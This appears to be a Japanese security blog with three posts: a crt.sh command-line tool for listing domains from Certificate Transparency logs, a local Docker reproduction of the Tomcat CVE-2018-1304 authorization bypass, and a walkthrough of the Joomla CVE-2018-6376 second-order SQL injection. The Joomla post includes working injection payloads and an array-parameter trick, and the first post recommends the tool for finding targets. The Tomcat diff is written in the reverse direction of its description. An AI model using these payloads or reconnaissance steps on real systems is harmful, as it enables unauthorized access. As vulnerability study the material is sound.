knqyf263's blog

自分のためのメモとして残しておくためのブログ。

Certificate Transparencyのログサーバからドメイン名一覧を取得してみた

Certificate TransparencyについてSCT埋め込まれてるんだなーぐらいのふわっとした理解だったので勉強し直していたのですが、ログサーバは誰もでアクセス可能だからログサーバに登録されている証明書からドメイン名の一覧を取得できてしまう、というのを見て自分でも試してみました。

有識者の間では常識みたいなので、特に大した内容ではないです。

概要

Certificate Transparency(CT)の説明は参考ページなどを見てもらうとして、今回はログサーバからドメイン名を取得できてしまう問題について試してみます。 ということで数日前ぐらいからログサーバからひたすらデータを引っ張ってくるやつを作ってみようと思っていたら、既にあることを昨日知りました。

crt.sh

なのでここで検索してみれば終わりって感じなのですが、CLIにしておくといつか使えるかなと思って作りました。

参考

詳細

crt.shというところがCTのログサーバからデータを貯めておいてくれているようです。そしてこいつがどうやらJSONでの出力に対応しているようなので、API的に使ってCLIを作りました。

github.com

以下のように --domain のオプションに渡すと、それにマッチするドメイン名を全て取得してくれます(もちろんログサーバに登録されてるものだけですが)。

$ crtsh search --domain %.example.com
+----------------------+--------------------------------+---------------------+
|         NAME         |             ISSUER             |     NOT BEFORE      |
+----------------------+--------------------------------+---------------------+
| www.example.com      | C=US, O=DigiCert Inc,          | 2014-11-06T00:00:00 |
|                      | OU=www.digicert.com,           |                     |
|                      | CN=DigiCert SHA2 High          |                     |
|                      | Assurance Server CA            |                     |
| www.example.com      | C=US, O=DigiCert Inc,          | 2015-11-03T00:00:00 |
|                      | OU=www.digicert.com,           |                     |
|                      | CN=DigiCert SHA2 High          |                     |
|                      | Assurance Server CA            |                     |
| dev.example.com      | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| products.example.com | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| support.example.com  | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| www.example.com      | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| *.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| m.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| www.example.com      | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| *.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| www.example.com      | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
+----------------------+--------------------------------+---------------------+

今までサブドメイン名を探すためにMetasploitやその他のOSINTツールを使ったりしていたかと思いますが、こちらでも似たことができます。 ただし、OSINTツールはGoogle検索の結果なども使っており、HTTPS対応していないドメイン名も取得できるため、必ずしもログサーバからの検索の方が網羅性が高いとは限りません。 今後HTTPS対応のサイトが増えてログサーバに登録される証明書が増えれば検索できるドメイン名はどんどん増えていくと思います。

OSINTツールの紹介をした以下のような記事もあるようです!

qiita.com

VPNサーバを探したりとか、色々と攻撃に使えそうで捗りますね(もちろん自分の管理外のサーバへの攻撃は駄目です)。

また、queryを投げることができるのでOrganization名などでも検索できます。

$ crtsh search --query Facebook
+-------------------------------+---------------------------+----------------------+---------+---------------------------+
|          COMMON NAME          |       ORGANIZATION        |       LOCALITY       | COUNTRY |         NOT AFTER         |
+-------------------------------+---------------------------+----------------------+---------+---------------------------+
| *.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| connect.facebook.net          | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| m.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| facebook.drivebenfield.com    | Benfield Motor Group      | Newcastle upon Tyne  | GB      | Sep 26 23:59:59 2017 GMT  |
| m.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | Apr 4 14:12:07 2014 GMT   |
| connect.facebook.net          | Facebook                  | Palo Alto            | US      | Apr 1 14:12:51 2014 GMT   |

これは全文検索みたいな感じなので、Organization名じゃなくCommon Nameの方でヒットしたりもしてますね。 ちなみにcrt.shで検索しても一覧にドメイン名は表示されないので、こっちのツールを使うほうが便利です!!

crt.sh | Facebook

少し実装について説明すると、crt.shのGETパラメータに output=json をつけるとJSONで返してくれるのでそれをパースするだけです。簡単!

と思ったのですが、何故かJSONで返してくれないページが多いです。あとJSON内に欲しい情報がないことも多かった。 crt.shのバグじゃないかなーと思ってます。 ということで、裏側ではそれぞれのページをスクレイピングして取ってきていたりします。 なのでレイアウト変わると死にます。 開発時間2時間ぐらいなので仕方ない。

まとめ

自分でログサーバから証明書を定期的に取ってきて貯めようと思ったらすでに存在しました(存在するだろうとは思ってましたが)。 仕方ないので自分でCLI作ってcrt.shから間接的にドメイン名一覧を取得したりして遊びました。 OSINTに使えてしまうので、内部でしか使わないドメイン名に証明書発行するときはログサーバに登録されないようにとか、ちゃんと考えないとなーと思いました。 EV以外はログサーバに登録しないところもあるみたいですが、今後どうなるかは分かりませんね。。

Tomcatの脆弱性(CVE-2018-1304) について調べてみた

Tomcat脆弱性(CVE-2018-1304, CVE-2018-1305)が先日公開されました。 最近自分が触ったことのないものの脆弱性を調べたりしているので、その一環で挑戦してみました。

脆弱性のあるバージョンとかは参考サイトを確認して下さい。 今回はどういう設定にすると脆弱性の影響があるのか、またそれの検証とTomcatソースコードデバッグあたりをやっていきます。 Tomcatmavenなど素人なので、とりあえず動かしてみたものの一般的じゃない設定なども多いかもしれません。 もし気付いた方がいればご指摘頂けると幸いです。

何となく番号が早かったということでCVE-2018-1304から調べたのですが、結構疲れてしまってCVE-2018-1305についてはちゃんと検証しておりません。 アノテーションの話みたいなので、元気になったらあとで調べるかもしれません。

参考

Tomcat脆弱性関連

Tomcatデバッグ関連

概要

CVE-2018-1304は一言で言うと、セキュリティの制約が回避されてしまう脆弱性になります。 セキュリティの制約には、特定のロールしかアクセスできない、GETは禁止、HTTPSのみ許可、など様々な設定があります。 特にadminのみ許可、のような制限を入れていた場合に回避されてしまうのでWebサイトによっては影響が大きいかもしれません。

ですが、影響があるのはURLのマッピング設定で ""(空文字)を使っている場合のみになります。 マッピング設定はweb.xmlアノテーションで設定するもので、 /users にリクエストが来たらこのクラスを呼ぶ、みたいなやつですね。 普通rootをマッピングするとしても / にすると思うので、 ""(空文字)になってることはあまりないんじゃないかなーと思ってます。 どこかのブログなどでにそういう設定例があったりすると、多く使われていたりするのかもしれませんが。

この脆弱性の影響がある人はかなり少ない気がしているので、レベルがImportantってのは高いんじゃないかなーと思ったり思わなかったりします。 ただ影響があるサイトにとっては影響度は大きいので、そういう付け方なんですかね。

検証

ということで実際に検証してみます。 例によってDockerfileを用意しました。

github.com

さらっと用意しました、とか言いましたが実際はかなり大変でした。 Tomcatを業務で触ったことがなかったのでServletHello Worldだけで何時間も溶かしました。 未だにやり方はよく分かってないですが、一応動くようになったので良かったです。 次からTomcat脆弱性が来たらすぐ調査できるようになったので、Tomcat脆弱性はWelcomeです。

DockerはTomcat 9.0.4を使いました。 9.0.5で修正されているので、その直前のバージョンになります。

Servletのプロジェクトはmavenで雛形を作ったものを少しいじりました。

$ mvn archetype:generate -DgroupId=test.vuln -DartifactId=vuln -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false

雛形を作ったあと、Servletを作ります。

$ mkdir -p vuln/src/main/java/test/vuln
$ vim vuln/src/main/java/test/vuln/HelloServlet.java
package test.vuln;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.annotation.HttpMethodConstraint;
import javax.servlet.annotation.HttpConstraint;
import javax.servlet.annotation.ServletSecurity;
import javax.servlet.annotation.WebServlet;

@WebServlet (name = "Root", urlPatterns = { "/" })
@ServletSecurity(value=@HttpConstraint(rolesAllowed={"admin"}))
public class HelloServlet extends HttpServlet {

  public void doGet(HttpServletRequest request, HttpServletResponse response)
    throws IOException, ServletException{

    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    out.println("<html>");
    out.println("<h1>CVE-2018-1304!!</h1>");
    out.println("</body>");
    out.println("</html>");
  }
}

GETが来たらCVE-2018-1304!!と返すだけの処理になっています。

ここでのポイントは @ServletSecurity@WebServlet です。 まず、 @WebServleturlPatterns/ と設定しており、 / へアクセスした時にこのクラスが呼ぶための設定です。 今回はvulnの下にあるので、/vuln/にアクセスするとHelloServletが呼ばれます。 次に @ServletSecurity はセキュリティの設定を色々するためのアノテーションで、今回は rolesAllowedadmin ロールだけがアクセスできるように設定しています。

ロールはtomcat-users.xml で設定しています。 以下はadminロールを定義し、 admin ユーザを admin ロールに所属させています。

$ cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="admin"/>
  <user username="admin" password="password" roles="admin"/>
</tomcat-users>

次にBasic認証の設定をします。 設定方法がよく分かっていないのですが、web.xml に書いたら行けました。 (/ とかにアクセスするとBasic認証求められないのでよく分からない。。)

$ cat vuln/src/main/webapp/WEB-INF/web.xml
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <login-config>
        <auth-method>BASIC</auth-method>
        <realm-name>default</realm-name>
  </login-config>
</web-app>

これで、/vuln にアクセスするとBasic認証が求められます。 adminロールじゃないとアクセス出来ないため、上記のID/PWでログインする必要があります。

次にmavenでビルドするためのpom.xmlを書きます。 とりあえず参考サイトからコピペしつつ、少しいじって以下のようにしたら動きました。 ちなみにこれもそれぞれの設定はあまり理解してません。

$ cd vuln
$ cat pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <properties>
    <maven.compiler.source>1.9</maven.compiler.source>
    <maven.compiler.target>1.9</maven.compiler.target>
  </properties>

  <modelVersion>4.0.0</modelVersion>
  <groupId>test.vuln</groupId>
  <artifactId>vuln</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>vuln Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
  <build>
    <!-- mavenでコンパイルするたmのプラグイン -->
    <finalName>${project.artifactId}-${project.version}</finalName>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.1</version>
        <configuration>
          <encoding>UTF-8</encoding>
          <source>1.8</source>
          <target>1.8</target>
        </configuration>
      </plugin>
      <!-- mavenからtomcatにwarファイル展開するためのプラグイン -->
      <plugin>
        <groupId>org.apache.tomcat.maven</groupId>
        <artifactId>tomcat7-maven-plugin</artifactId>
        <version>2.2</version>
        <configuration>
          <path>/</path><!-- webapps配下に展開するためのファイル(ディレクトリ名) -->
          <server>tomcat-localhost</server>
          <url>http://localhost/manager/text</url>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

ビルドする準備ができたので、mavenでビルドします。 macOSでしか検証してないです。

$ mvn clean package
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building vuln Maven Webapp 1.0-SNAPSHOT
[INFO] ------------------------------------------------------------------------
...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4.725 s
[INFO] Finished at: 2018-02-25T19:29:15+09:00
[INFO] Final Memory: 17M/285M
[INFO] ------------------------------------------------------------------------

準備が終わったのでdocker buildします。イメージ名は適当にcveにしましたが、何でも良いです。

$ cd ..
$ docker build -t cve .

デフォルトだと8080番ポートでLISTENするので、8080番をポートフォワードします。

$ docker run --name cve -d -p 8080:8080 cve

起動したら、ブラウザで http://localhost:8080 にアクセスします。

f:id:knqyf263:20180225210733p:plain

猫が見えればOKです。

ではその状態で、 http://localhost:8080/vuln にアクセスしてみます。 今度はBasic認証が求められます。 先程設定した admin/password でログインしてCVE-2018-1304!!と表示されていれば成功です。

ようやく検証の下準備が完了したので、CVE-2018-1304の確認をしてみます。 HelloServlet.javaurlPatterns を編集します。 先程までは / でしたが、ここを "" の空文字に変更します。

 import javax.servlet.annotation.ServletSecurity;
 import javax.servlet.annotation.WebServlet;

-@WebServlet (name = "Root", urlPatterns = { "" })
+@WebServlet (name = "Root", urlPatterns = { "/" })
 @ServletSecurity(value=@HttpConstraint(rolesAllowed={"admin"}))
 public class HelloServlet extends HttpServlet {

ビルドし直して、コンテナに再度デプロイします。

$ cd vuln
$ mvn clean package
$ docker cp target/vuln-1.0-SNAPSHOT.war cve:/usr/local/tomcat/webapps/vuln.war

デプロイが終わるまで少しだけ時間差がありますが、コンテナで以下のようなログが出れば完了です。

Deployment of web application archive [/usr/local/tomcat/webapps/vuln.war] has finished in [20] ms

この状態で再度 http://localhost:8080:vuln にアクセスします。 先ほどと同じブラウザだとBasic認証のヘッダが付いたままなので、別ブラウザやシークレットウィンドウなどでアクセスして下さい。 すると、Basic認証が求められずにWebページが表示されます。 単純ですが、これが脆弱性です。 認証を回避できてWebページを表示できてしまいました。

f:id:knqyf263:20180225213944p:plain

概要で書いたとおり、 urlPatterns"" にしていると影響を受けます。 ということで検証は終わりです。

ソースコード確認

CVE-2018-1304のソースコード上の修正箇所は以下になります。

[Apache-SVN] Diff of /tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java

これは findSecurityConstraints のメソッド内にあります。

534      @Override
535     public SecurityConstraint [] findSecurityConstraints(Request request,
536                                                          Context context) {

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1812188&view=markup&pathrev=1823306#l535

これはHTTPリクエストのpathやmethodから関連するSecurityConstraintを取り出すメソッドです。

どうやって関連するかを判断しているかというと、以下の583行目にある通り、リクエストの uriurlPatterns の比較になります。 これら(とmethod)が一致した場合はSecurityConstraintを配列に入れて返します。

582                  for(int k=0; k < patterns.length; k++) {
583                     if(uri.equals(patterns[k])) {
584                         found = true;
585                         if(collection[j].findMethod(method)) {
586                             if(results == null) {
587                                 results = new ArrayList<>();
588                             }
589                             results.add(constraints[i]);
590                         }
591                     }
592                 }

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1812188&view=markup&pathrev=1823306#l583

もし urlPatterns"" になってて uri/ になっている場合、このif文に入らずresultsが空の配列になり、SecurityConstraintがないものとして扱われそうです。 結果として、制約をすり抜けてしまいます。 これが脆弱性の原因だろうと推測されます。

ソースコードをさっと読んだ感じでは上の理解になりますが、実際にデバッガで変数の中身を覗いて確かめてみましょう。

デバッグ

上記リポジトリにDockerfile.debugも置いておいたので、それを用いてイメージをビルドするとデバッグ可能になります。 ですが、元のDockerfileでも環境変数を指定して起動スクリプトの引数を変えることでデバッグ出来るようになります。

$ docker run --name cve -e JPDA_SUSPEND=y -e JPDA_ADDRESS=0.0.0.0:8000 --rm -it -p 8080:8080 -p 8000:8000 cve catalina.sh jpda run

8000番ポートに繋ぐとデバッグ出来るような設定になっています。 JPDA_ADDRESSに0.0.0.0を書かないと繋がるようになりませんでしたし、JPDA_SUSPEND=yを付けないと繋がってもブレークポイントで止まってくれませんでした。 ココらへんググっても出なくて超絶ハマりました。

ブレークポイントを貼りたいので以下の公式サイトからソースコードを持ってきます。 ダウンロードしたら適当な場所で展開します。

Index of /dist/tomcat/tomcat-9/v9.0.4/src

次に、このソースをIntellij IDEAで開きます。 そしてRun/Debug Configurationsでリモートデバッグをする設定をします。 まず左上の+ボタンからRemoteを選びます。 名前は何でも良いです。ここではTomcatにしました。 そしてHostにlocalhost、Portに8000を設定します。

f:id:knqyf263:20180225220543p:plain

そして先程の RealmBase.javafindSecurityConstraintsブレークポイントを貼り、デバッグボタンを押します。 ブラウザで http://localhost:8080/vuln にアクセスすると、ブレークポイントで止まります。

f:id:knqyf263:20180225220936p:plain

ステップオーバーしていき、constraints 変数の中を見ると以下のようになっていました。 authRolesadmin になっており、アノテーションで設定したとおりになっていることが分かります。

f:id:knqyf263:20180225221120p:plain

肝心の比較の箇所を見てみます。 uri には "/" が入っていて、patterns[0]には""が入っています。 よって、このif文はfalseになりfoundはfalseのままになります。 先程のコードリーディングの予想通りであることが分かりました。

f:id:knqyf263:20180225221413p:plain

ということで、修正はまずuriの長さが0の場合に/を代入しています。 そして比較の箇所を以下のようにpatterns が空文字の場合もfound=trueになるような修正を入れています。

if(uri.equals(patterns[k]) || patterns[k].length() == 0 && uri.equals("/")) {

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1823306&view=markup&pathrev=1823306#l584

まとめ

TomcatServletは業務などで触れる機会もないので、CVE-2018-1304の調査がてら触ってみました。 正直設定の難度が高すぎてまだ全然理解できてないですが、とりあえず動くようになって良かったです。 Dockerで動いているTomcatへのリモートデバッグもかなりハマりましたが、最終的にはブレークポイントも貼れるようになってデバッグが捗るようになりました。 というかDockerへのリモートデバッグだけでも記事書けそうだな...などと思いました。 今回も脆弱性自体は難しいものではないですが、デバッガでソースコードを追うところまでやると学びが多いのでオススメです。

CVE-2018-1304の影響を受ける設定になっている場合は影響が大きい可能性があるので、修正済みのバージョンにアップデートしましょう。

Joomla!のSecond Order SQL Injection(CVE-2018-6376) について調べてみた

こないだWordPressについて調べてみたので、勢いでJoomla!脆弱性についても調べてみました。 Joomla!も使ったことがなく、今回検証で初めて触ったので何か間違いがあれば教えてもらいたいです。

概要

Joomla!の3.7.0以上、3.8.3以下のバージョンにSecond Order SQL Injection(CVE-2018-6376)が見つかったとのことです。 SQL Injectionなので、データベース上の任意のデータが読み出し可能です。 ただし攻撃条件として、攻撃者はManager権限でJoomla!に認証される必要があります。 Managerはデフォルトで存在するユーザグループで、Super UsersやAdministratorよりは弱い権限です。 Super Usersのsessionなどを奪うことで権限昇格する例が発見者により紹介されています。

修正済みのバージョン(3.8.4)がリリースされているので、アップデートすれば対応できます。

参考

以下が発見者によるサイトです。

Joomla! 3.8.3: Privilege Escalation via SQL Injection

そして以下はさらに詳しく解説したページになります。発見者のサイトだけだと、どうやって攻撃まで繋げるか細かいところが分からなかったのですが、こちらのサイトの解説で理解できました。

www.notsosecure.com

Second Order SQL Injectionとは?

PortSwiggerのサイトが分かりやすかったです。

portswigger.net

簡単に言うと、ユーザからのデータをアプリケーションがDBなどに一度保存し、あとで利用される時に発動するSQL Injectionです。 一度目はエスケープして保存したけど、そのデータを別の箇所で使う時にエスケープをし忘れてSQLの条件に入れてしまった、などがあるかと思います。 自分もあんまり詳しくなかったですが、昔からあるみたいですね。

http://takagi-hiromitsu.jp/diary/20051231.html#p05

詳細

TL;DR

  • Joomla!の3.7.0以上、3.8.3以下に影響あり
  • 攻撃者はManager権限以上を持っている必要がある
  • プロフィール更新ページの admin_style が脆弱なパラメータ
  • 保存時は安全にDBに保存される
  • 別ページで admin_style の値を用いる時に発動する
  • データは表示されないがエラーメッセージは表示される

検証

自分でやってみないと理解が深まらないかと思いますので、試してみます。 docker-compose.ymlを用意したので、まずこれで簡単にJoomla!を起動します。 3.8.3以下で脆弱なバージョンなら何でも良いのですが、今回は3.8.2のDockerイメージがあったのでそれを使っています。

github.com

http://localhost:10080 にアクセスするとJoomla!が起動しているかと思いますので、インストールの設定を進めていきます。 ユーザ名は何でも良いのですが、今回は分かりやすく"super"というユーザ名にしました(Super Users権限になるため)。

f:id:knqyf263:20180212161257p:plain

Docker ComposeでMySQLのホスト名はdbにしたので、以下のように設定します。

  • データベース:MySQLi
  • ホスト名:db
  • ユーザ名:root
  • パスワード:joomla
  • データベース名:joomla

f:id:knqyf263:20180212162934p:plain

あとは指示に従ってインストールを進めていき、インストールが終わったら

「Users」→「Manager」→「Add New User」

から新しくユーザを作成します。今回は"manager"というユーザ名で、Manager権限を付与して作成しました。 なので以下のようになります。

f:id:knqyf263:20180212163144p:plain

今回の検証では、Manager権限を持つ"manager"からSuper Users権限を持つ"super"へ権限昇格してみることにします。 "super"でログインしたままにしつつ、別のブラウザなどで"manager"でログインして下さい。

そして「Edit Account」を開きます。 このプロフィール更新ページに攻撃するべきパラメータがあります。 「Save」ボタンを押すと以下のようなPOSTリクエストが飛びます(長いのであちこち省略してます)。

POST /administrator/index.php?option=com_admin&view=profile&layout=edit&id=180 HTTP/1.1
Host: localhost:10080
Content-Length: 1970
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[name]"

manager
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[username]"

manager

...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"


------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_language]"

...(省略)...

Content-Disposition: form-data; name="task"

profile.apply
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

この jform[params][admin_style] が脆弱なパラメータになります。 まず、 admin_style が保存されるまでのコードを追ってみましょう。 上の解説記事によると、com_adminのControllerの save が呼び出されるようです。

/**
 * Overrides parent save method to check the submitted passwords match.
 *
 * @param   string  $key     The name of the primary key of the URL variable.
 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
 *
 * @return  boolean  True if successful, false otherwise.
 *
 * @since   3.2
 */
public function save($key = null, $urlVar = null)
{
    $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));
    $return = parent::save();
    if ($this->getTask() != 'apply')
    {
        // Redirect to the main page.
        $this->setRedirect(JRoute::_('index.php', false));
    }
    return $return;
}

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

実際にこの箇所で JFactory::getUser() の戻り値の中身を見てみたところuserに関する情報が格納されていました。 そして次の parent::save() で実際のDBへの保存が行われそうです。

親クラスはJControllerFormになりますが、定義が見つかりませんでした。 色々探してみたところ、以下の記述が見つかりました。

JLoader::registerAlias('JControllerForm',                   '\\Joomla\\CMS\\MVC\\Controller\\FormController', '5.0');

joomla-cms/classmap.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

エイリアスとして登録できるんですかね...?FormControllerの save は以下にありました。 これまたコードが大きくてここで合ってるのか正直自信ないで、誰かJoomla!のプロが教えてくれることを期待してます。

https://github.com/joomla/joomla-cms/blob/6f6a89352bf0c774481cf05fdaec47242e905bd2/libraries/src/MVC/Controller/FormController.php#L614

FormControllerの save では、以下で $model を取り出していました。

public function save($key = null, $urlVar = null)
{
    // Check for request forgeries.
    \JSession::checkToken() or jexit(\JText::_('JINVALID_TOKEN'));
    $app   = \JFactory::getApplication();
    $model = $this->getModel();
    $table = $model->getTable();

そしてその後、POSTのデータを getForm で取り出しています。

// Validate the posted data.
// Sometimes the form needs some posted data, such as for plugins and modules.
$form = $model->getForm($data, false);

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

あとは validate でバリデーションしたり何やかんやしながら、最終的に $modelsave を呼んでいます。 ここでDBへの保存を行っているんじゃないかなーと思います。多分。。

// Attempt to save the data.
if (!$model->save($validData))

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

この $modelsave で、com_adminの AdminModelProfilesave が多分呼ばれます。

多分しか言ってない。。すみません。。

/**
 * Method to save the form data.
 *
 * @param   array  $data  The form data.
 *
 * @return  boolean  True on success.
 *
 * @since   1.6
 */
public function save($data)
{

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

先程 $modelgetForm が呼ばれていると言いましたが、それは恐らくここ。最初に見たControllerと同じで、com_adminの下にあるModelです。

/**
 * Method to get the record form.
 *
 * @param   array    $data      An optional array of data for the form to interogate.
 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
 *
 * @return  JForm    A JForm object on success, false on failure
 *
 * @since   1.6
 */
public function getForm($data = array(), $loadData = true)
{
    // Get the form.
    $form = $this->loadForm('com_admin.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

ということでPOSTのデータが取り出されて、先程の save に渡されます。

public function save($data)
{
    $user = JFactory::getUser();
    unset($data['id']);
    unset($data['groups']);
    unset($data['sendEmail']);
    unset($data['block']);
    $isUsernameCompliant = $this->getState('user.username.compliant');
    if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant)
    {
        unset($data['username']);
    }
    // Bind the data.
    if (!$user->bind($data))
    {
        $this->setError($user->getError());
        return false;
    }
    $user->groups = null;
    // Store the data.
    if (!$user->save())

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

そして元々保存されていた $user にPOSTで渡ってきた $data をバインドして save を呼んでDBに保存します。 この $user は共通で定義されているモデルで、ちらっと見た感じではSQL Injectionは問題なさそうでした。

ということで長いことダラダラと書きましたが、「Save」を押した時のリクエストではSQL Injectionは起きなさそうです。 シングルクォートを入れてもエラーなくDBに保存されました。

admin_styleusers テーブルに params というカラムで保存されます。初期設定でランダムなprefixを付けている場合、以下のように qpqau_users などになっています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------+
| params                                                                                            |
+---------------------------------------------------------------------------------------------------+
|                                                                                                   |
| {"admin_style":"'foo","admin_language":"'foo","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

これを見れば分かる通り、 'foo は問題なく保存されています。

ではようやく本題です。 今までは単にユーザの入力を安全にDBの値を保存するだけなので実はどうでも良いです。 せっかくコード読んだからという理由で書いただけです。 SQL Injectionが発動する箇所が重要です。

上述した admin_style というパラメータはプロフィール更新の「Backend Template Style」に該当します。 見た目を変えるためのパラメータのようです。 通常はドロップダウンから選び、数値が保存されます。

f:id:knqyf263:20180213092938p:plain

admin_style が利用される場所を確認します。

function hathormessage_postinstall_condition()
{
...(省略)...

    // Get the current user admin style
    $adminstyle = $user->getParam('admin_style', '');

    if ($adminstyle != '')
    {
        $query = $db->getQuery(true)
            ->select('template')
            ->from($db->quoteName('#__template_styles'))
            ->where($db->quoteName('id') . ' = ' . $adminstyle[0])
            ->where($db->quoteName('client_id') . ' = 1');
        // Get the template name associated to the admin style
        $template = $db->setquery($query)->loadResult();
    }

joomla-cms/hathormessage.php at 3bef68463a5374e9aaf617111529be94d5d2fe70 · joomla/joomla-cms · GitHub

ここでは admin_style の値を取り出し、 $adminstyle に格納しています。 その後、SQLのWHEREに利用しています。 この際、特にエスケープなどはなく文字列連結で行われています。

では先程のPOSTリクエストを改ざんして AND sleep(5);– を送ってみましょう。自分はBurp Suiteを使っていますが、プロキシツールの使い方は調べれば山ほど出てくると思います。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

AND sleep(5);–

f:id:knqyf263:20180213133455p:plain

正常に保存されたものの、エラーを見るとAだけになってしまっています。 これは上記のコードで $adminstyle[0] となっており、インデックスが0のものだけが利用されているからです。 文字列が与えられれば1文字目が取り出されます。

では配列を与えればいいな、ということで以下のように与えてみます。 配列の最初の要素である test1 が表示されることを狙っています。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

["test1", "test2", "test3"]

f:id:knqyf263:20180213133746p:plain

すると、これまた [ だけになっています。 JSONデコードなどしてくれればarrayになってくれたかもしれませんが、単に文字列として扱われてしまっています。

自分はこの辺りで困ったなーと思って真面目に考えず放置していたのですが、先程の解説記事に方法が書いてありました。 POSTのパラメータ名を jform[params][admin_style][0] に変えるという方法です。 こうすればarrayとして扱われます。 再度送ってみます。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

AND sleep(5);--

f:id:knqyf263:20180213133918p:plain

エラーメッセージに AND sleep(5) が表示されているこが分かります。 ということで成功しました。 arrayに変えてみるという方法は脆弱性でもたまにありますし、CTFでも以前出題されているのを見たことがあるので、すぐに思いつかないと駄目ですね。。 少し憂鬱になりました。

DBにも以下のようにarrayで保存されています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------------------+
